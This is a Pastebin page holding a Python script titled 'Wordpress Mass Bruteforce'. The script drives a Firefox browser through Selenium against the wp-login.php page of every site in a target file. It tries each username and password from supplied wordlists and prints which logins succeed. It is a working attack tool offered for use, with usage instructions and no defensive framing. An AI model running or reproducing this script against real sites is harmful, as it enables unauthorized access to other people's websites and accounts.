Advertisement
Fadly31337

Wordpress Mass Bruteforce

Oct 25th, 2020
398
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.56 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. #-*- coding: utf-8 -*-
  3. __author__ = 'Recep Gunes'
  4.  
  5. def banner():
  6.     print("""
  7. {}
  8. ,   . ;-.    ,-.          .         ,--.                
  9. | . | |  )   |  )         |         |                  
  10. | | | |-'    |-<  ;-. . . |-  ,-.   |-   ,-. ;-. ,-. ,-.
  11. |/|/  |      |  ) |   | | |   |-'   |    | | |   |   |-'
  12. ' '   '      `-'  '   `-` `-' `-'   '    `-' '   `-' `-'
  13. {}
  14. How To Use:
  15. \tpython brute-force.py [target_file] [username_list] [password_list]
  16. {}""".format("="*82,"="*82,"="*82))
  17.  
  18. def bruteforce(target,username,password):
  19.     browser = webdriver.Firefox()
  20.     for tar in target:
  21.         for uname in username:
  22.             for paswd in password:
  23.                 browser.get(tar+"wp-login.php")
  24.                 wp_uname_tag = browser.find_element_by_name("log")
  25.                 wp_paswd_tag = browser.find_element_by_name("pwd")
  26.                 wp_login_tag = browser.find_element_by_name("wp-submit")
  27.                 time.sleep(3)
  28.                 wp_uname_tag.send_keys(uname)
  29.                 wp_paswd_tag.send_keys(paswd)
  30.                 time.sleep(1)
  31.                 wp_login_tag.click()
  32.                 browser.delete_all_cookies()
  33.                 try:
  34.                     error = browser.find_element_by_id("login_error")
  35.                     print("[-] {} > {}:{} => Login Unsuccessful!".format(tar,uname,paswd))
  36.                 except selenium.common.exceptions.NoSuchElementException:
  37.                     print("[+] {} > {}:{} => Login Successful!".format(tar,uname,paswd))
  38.                 except selenium.common.exceptions.TimeoutException:
  39.                     print("[!] {} => Time Out Error!".format(tar))
  40.                 except:
  41.                     pass
  42.     browser.quit()
  43.  
  44. def file_reader(file_name):
  45.     flist = []
  46.     file = open(file_name,"r")
  47.     file_in = file.readlines()
  48.     for f in file_in:
  49.         flist.append(f.replace("\n",""))
  50.     return flist
  51.  
  52. if __name__ == "__main__":
  53.     try:
  54.         from selenium import webdriver
  55.         import time,selenium,sys
  56.         start_time = time.time()
  57.         banner()
  58.         target = file_reader(sys.argv[1])
  59.         uname = file_reader(sys.argv[2])
  60.         paswd = file_reader(sys.argv[3])
  61.         bruteforce(target,uname,paswd)
  62.         print("{}\nElapsed Time (Sec): {}\n{}".format("="*82,time.time() - start_time,"="*82))
  63.     except ModuleNotFoundError:
  64.         print("Selenium Install.")
  65.     except IndexError:
  66.         print("Site or User List or Password List Entery.")
  67.     except KeyboardInterrupt:
  68.         print("\nGood Bye :)\n")
  69.     except:
  70.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement